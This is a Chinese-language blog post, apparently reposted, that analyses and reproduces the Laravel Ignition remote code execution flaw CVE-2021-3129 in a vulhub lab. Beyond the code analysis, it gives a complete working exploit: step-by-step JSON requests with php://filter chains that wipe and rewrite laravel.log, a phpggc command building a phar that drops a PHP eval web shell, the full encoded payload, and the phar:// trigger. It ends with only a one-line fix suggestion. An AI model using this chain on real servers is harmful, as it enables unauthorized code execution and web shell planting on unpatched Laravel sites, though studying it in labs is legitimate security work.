Laravel 远程代码执行漏洞(CVE-2021-3129)复现

Laravel 远程代码执行漏洞(CVE-2021-3129)复现

一、漏洞概述

Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。它可以让你从面条一样杂乱的代码中解脱出来;它可以帮你构建一个完美的网络APP,而且每行代码都可以简洁、富于表达力。官网:https://laravel.com/。

当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

影响版本:

Laravel <= 8.4.2

二、漏洞浅析
1、漏洞存在判别

Laravel环境搭建完成后,第一次访问首页,会出现报错“No application encryption key has been specified.”(未指定应用加密密钥)。其在下方给我们提供了一个修复方案(Ignition 组件提供)。

点击页面中的“Generate app key”,会生成对应应用密钥,这里我们可以使用Brup Suite拦截该请求。

image-20230412164607235

然后修改请求正文中的 solution 参数修改为 MakeViewVariableOptionalSolution (本次漏洞的触发点),如下:

{
    
    
    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters": {
    
    
        "variableName": "asdf",
        "viewFile": "asdfghj"
    }
}

发送修改后的请求,若返回500,且提示file_get_contents()的报错时,则有此漏洞。

image-20230412113456900

或者如下图,提示file_get_contents()方法调用失败,没有对应文件或目录,则存在此漏洞。

image-20230413215124111

2、漏洞分析

Laravel在第6版之后,debug模式使用了ignition组件来美化堆栈信息,ignition还附带了“一键修复bug”的功能,为我们提供了一些快速修复部分错误的solutions,在vendor\facade\ignition\src\Solutions下我们可以看到这些solutions,如下:

image-20230413155909624

而本次漏洞就是其中的 MakeViewVariableOptionalSolution.php 对传入的相关参数过滤不严谨导致的。首先我们看看Laravel是如何去调用对应solution的,在solution的控制器中(vendor\facade\ignition\src\Http\Controllers\ExecuteSolutionController.php)

<?php

namespace Facade\Ignition\Http\Controllers;

use Facade\Ignition\Http\Requests\ExecuteSolutionRequest;
use Facade\IgnitionContracts\SolutionProviderRepository;
use Illuminate\Foundation\Validation\ValidatesRequests;

class ExecuteSolutionController
{
    
    
    use ValidatesRequests;

    public function __invoke(
        ExecuteSolutionRequest $request,
        SolutionProviderRepository $solutionProviderRepository
    ) {
    
    
        $solution = $request->getRunnableSolution();

        $solution->run($request->get('parameters', [])); // 调用对应solution对象的run()方法,并传入参数parameters

        return response('');
    }
}

从上面我们可以看到在ExecuteSolutionController中会去调用对应solution的run方法并传入参数parameters,而这个参数就是前面抓包时请求正文中的parameters,所以这个输入参数是我们可以控制的。接着查看MakeViewVariableOptionalSolution.php代码,找到其run()方法处。

<?php

namespace Facade\Ignition\Solutions;

use Facade\IgnitionContracts\RunnableSolution;
use Illuminate\Support\Facades\Blade;

class MakeViewVariableOptionalSolution implements RunnableSolution
{
    
    
    ......

    public function run(array $parameters = [])
    {
    
    
        $output = $this->makeOptional($parameters);
        if ($output !== false) {
    
    
            // 将makeOptional()方法的结果输出对应文件中(viewFile参数指定)
            file_put_contents($parameters['viewFile'], $output);
        }
    }

    public function makeOptional(array $parameters = [])
    {
    
    
        // 调用file_get_contents方法将传入的参数作为路径读取文件内容,用$originalContents存储,作为原始内容
        $originalContents = file_get_contents($parameters['viewFile']);
        // 处理读取的内容,若文件内容中存在‘$variableNamed的值’,则替换为‘$variableNamed的值??’,将处理后的内容使用$newContents存储,作为新的内容
        $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
		// 以下代码为处理原始内容与新内容
        $originalTokens = token_get_all(Blade::compileString($originalContents));
        $newTokens = token_get_all(Blade::compileString($newContents));

        $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
		// 只要原始内容中不含‘$variableNamed的值’,$originalContents与$newContents的值会相同,那么下方的判断条件不会成立,就不会返回false
        if ($expectedTokens !== $newTokens) {
    
    
            return false;
        }

        return $newContents;
    }

run方法中调用了makeOptional()方法去处理传入的参数,而该方法一开始就会去调用file_get_contents()方法。这里的$parameters[‘viewFile’]是我们可以控制的,如果可以上传或写入一个恶意phar文件到服务器上,则我们可以利用上述的file_get_contents()方法去触发phar反序列化进行利用。

我们还可以从makeOptional()方法剩下的代码中发现,当file_get_contents()获取到的文件内容中不含‘$variableNamed的值’时,则一定会返回读取的文件内容。而接着在run()方法中会调用file_put_contents()方法将makeOptional()方法返回的结果(读取的文件内容)又重新输出到原文件中。这又有什么作用呢?我们在后面解答。

3、日志文件利用

当我们无法直接上传phar文件进行漏洞利用,有又什么方式可以在不上传文件的情况下进行漏洞利用呢?答案是使用Laravel日志文件——laravel.log,将该文件变为一个合法的phar文件进行利用。laravel.log记录了Laravel的报错信息,像前面我们利用相应POST请求判断是否存在此漏洞时,输入了一个不存在的viewFile,导致报错。此时会将viewFile的值输出到日志文件中,如下图:

image-20230413220825271

从上面我们不难发现一次报错信息输出,会在三个地方出现viewFile的值,前两处会完整输出,而最后一处则会输出部分内容。由此我们可以得出该log日志文件格式如下:

[时间] [报错信息字符串] viewFile的值 [报错信息字符串] viewFile的值 [报错信息字符串] 
...
[报错信息字符串] 部分viewFile的值 [报错信息字符串]
...

因为一个文件是否是phar文件的标准是其是否携带了phar文件的头部,所以如果我们能通过控制log文件中输出的viewFile配合makeOptional()方法中file_get_contents()和file_put_contents()这两个方法将log文件改造成一个phar文件,则可以完成RCE漏洞利用。

(1)清空日志

​ 我们要利用这个log文件,首先需要清空日志,因为实际环境中日志文件不可能为空,其会有以前的报错信息。如何清除呢?这里需要用到 php://filter 中的 convert.base64-decode 过滤器的特性。

file_put_contents('test.txt','||@@##'.base64_encode('test').'[{}]');
echo file_get_contents('php://filter/read=convert.base64-decode/resource=test.txt');

image-20230413231042270

可以看到convert.base64-decode过滤器会将一些非base64字符给过滤掉后再进行base64解码。于是我们很容易想到将日志文件中的所有内容转换成非base64编码出现的字符,而后再使用 convert.base64-decode 过滤器读取,此时读取到的内容就为空,接着在run()方法中就会调用file_put_contents()方法将空的内容输出到日志文件中,从而将日志文件清空。最后我们可以使用以下三步来进行字符集转换,使得读取的文件内容全部转换成非base64字符。

convert.iconv.utf-8.utf-16be // UTF-8 -> UTF-16BE
convert.quoted-printable-encode // 打印不可见字符
convert.iconv.utf-16be.utf-8 // UTF-16BE -> UTF-8 

上述步骤合起来则可以使用以下代码进行利用。

php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

(2)写入符合规范的phar文件

  • 保留有效载荷并删除其余部分。

    我们从上面知道可以通过过滤器将读取的文件内容进行字符集转换,于是我们可以先将payload转换为其他字符集,而后在读取时对整体日志文件内容再转成原本payload的字符集。这里使用先将utf-8转成utf-16,利用时再utf-16将转成utf-8。

    // 输出含有utf-16编码的PAYLOAD
    echo -ne '[prefix]P\0A\0Y\0L\0O\0A\0D\0[midfix]P\0A\0Y\0L\0O\0A\0D\0[suffix]' > test.txt
    // php命令中执行如下,将utf-16le转成utf-8
    echo file_get_contents('php://filter/read=convert.iconv.utf-16le.utf-8/resource=test.txt');
    

    image-20230414101710948

  • 去除重复的paylaod

    从上面实验的结果中,我们发现当有两个paylaod时会就输出两个paylaod,后续进行base64解码时必定会报错,所以我们要想一个方法将paylaod只输出一个。而utf-16le以两个字节为单位,所以我们可以在末尾添加一个字节来错位,使得只有其中一个paylaod得以输出。如下添加一个字节X,使得只输出一个paylaod。

    image-20230414102538669

  • 日志文件内容的2字节对齐

    日志文件不一定是两个字节,所以我们需要对齐进行处理,而之前我们知道每个报错信息日志输出的格式基本一致,所以我们可以先发一个无关紧要的PAYLOAD_A,再发送PAYLOAD_B用于利用,此时日志文件[prefix]、[midfix]和[suffix]与PAYLOAD_A和PAYLOAD_B一起出现两次,日志的内容就对齐了。

    [prefix]PAYLOAD_A[midfix]PAYLOAD_A[suffix]
    [prefix]PAYLOAD_B[midfix]PAYLOAD_B[suffix]
    
  • 空字节的写入

    在我们使用file_get_contents()传入\00的时候php会报错,无法将空字节(\00)写入到文件中。而php为了将不可见字符打印出来,提供了convert.quoted-printable-encode过滤器,其将字符转成ascii后前面加个=号。

    image-20230414103753916

    同理也可使用convert.quoted-printable-decode过滤器将对应格式的字符还原。

    image-20230414103816750

通过上面这一系列步骤,现在我们可以在日志文件中写入我们想写入的东西了,后续就是找到RCE的反序列化POC链生成对应的phar文件内容,将其输入到日志文件中,最后用过phar://触发反序列化进行利用。

三、漏洞复现
1、环境环境

被攻击服务器

主机:CentOS7(192.168.219.185)

靶场环境:vulhub/laravel:8.4.2(docker环境)

攻击者

主机:kali(192.168.219.134)

反序列化利用链生成工具: https://github.com/ambionics/phpggc

环境搭建:

(1)进入目录vulhub对应目录,执行docker-compose命令创建容器。

cd vulhub-master/laravel/CVE-2021-3129/
docker-compose up -d

(2)创建完成后,访问8080端口,如下则说明环境搭建成功。

image-20230414114746405

2、复现步骤

(1)访问/_ignition/execute-solution,使用Brup拦截请求,修改请求方法为POST,修改Content-Type为 application/json,添加如下请求正文,发送请求,清空laravel日志。

{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "asdf",
 "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
 }
}

image-20230413235650731

(2)用phpggc指定利用链为Laravel/RCE5生成反序列化利用的POC,此处为写入一句话木马到shell.php中。

// 将一句话木马 <?php  eval($_POST[a]);?> base64编码
PD9waHAgIGV2YWwoJF9QT1NUW2FdKTs/Pg==
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgIGV2YWwoJF9QT1NUW2FdKTs/Pg==|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

image-20230414090710379

(3)发送AA生成无害paylaod,进行方便后续补齐。

{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "asdf",
 "viewFile": "AA"
 }
}

(4)发送POC至服务器,注意要在viewFile的最后添加一个字母a。

{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "asdf",
 "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=4E=00=41=00=67=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=58=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=4D=00=36=00=49=00=6A=00=77=00=2F=00=63=00=47=00=68=00=77=00=49=00=48=00=4E=00=35=00=63=00=33=00=52=00=6C=00=62=00=53=00=67=00=6E=00=5A=00=57=00=4E=00=6F=00=62=00=79=00=42=00=51=00=52=00=44=00=6C=00=33=00=59=00=55=00=68=00=42=00=5A=00=30=00=6C=00=48=00=56=00=6A=00=4A=00=5A=00=56=00=33=00=64=00=76=00=53=00=6B=00=59=00=35=00=55=00=56=00=51=00=78=00=54=00=6C=00=56=00=58=00=4D=00=6B=00=5A=00=6B=00=53=00=31=00=52=00=7A=00=4C=00=31=00=42=00=6E=00=50=00=54=00=31=00=38=00=59=00=6D=00=46=00=7A=00=5A=00=54=00=59=00=30=00=49=00=43=00=31=00=6B=00=49=00=44=00=34=00=67=00=4C=00=33=00=5A=00=68=00=63=00=69=00=39=00=33=00=64=00=33=00=63=00=76=00=61=00=48=00=52=00=74=00=62=00=43=00=39=00=7A=00=61=00=47=00=56=00=73=00=62=00=43=00=35=00=77=00=61=00=48=00=41=00=6E=00=4B=00=54=00=73=00=67=00=5A=00=58=00=68=00=70=00=64=00=44=00=73=00=67=00=50=00=7A=00=34=00=69=00=4F=00=33=00=31=00=39=00=66=00=51=00=67=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=41=00=51=00=41=00=41=00=41=00=44=00=47=00=4B=00=44=00=68=00=6B=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=6B=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=62=00=64=00=32=00=6A=00=61=00=74=00=58=00=77=00=4A=00=4D=00=56=00=57=00=73=00=52=00=6A=00=50=00=58=00=4A=00=5A=00=52=00=48=00=50=00=37=00=4B=00=76=00=5A=00=51=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"
 }
}

(5)发送如下请求,消除多余字符串,只留下一个payload。

{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "asdf",
 "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
 }
}

image-20230414090437692

(6)通过phar://进行反序列化。

{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "asdf",
 "viewFile": "phar://../storage/logs/laravel.log/test.txt"
 }
}

image-20230414090358476

(7)访问shell.php,执行phpinfo。

image-20230414091816028

四、修复建议

在 MakeViewVariableOptionalSolution.php 中添加对应过滤函数,对$parameters[‘viewFile’]进行过滤,禁止其利用伪协议、禁止读取敏感文件等。

猜你喜欢

转载自blog.csdn.net/oiadkt/article/details/130343975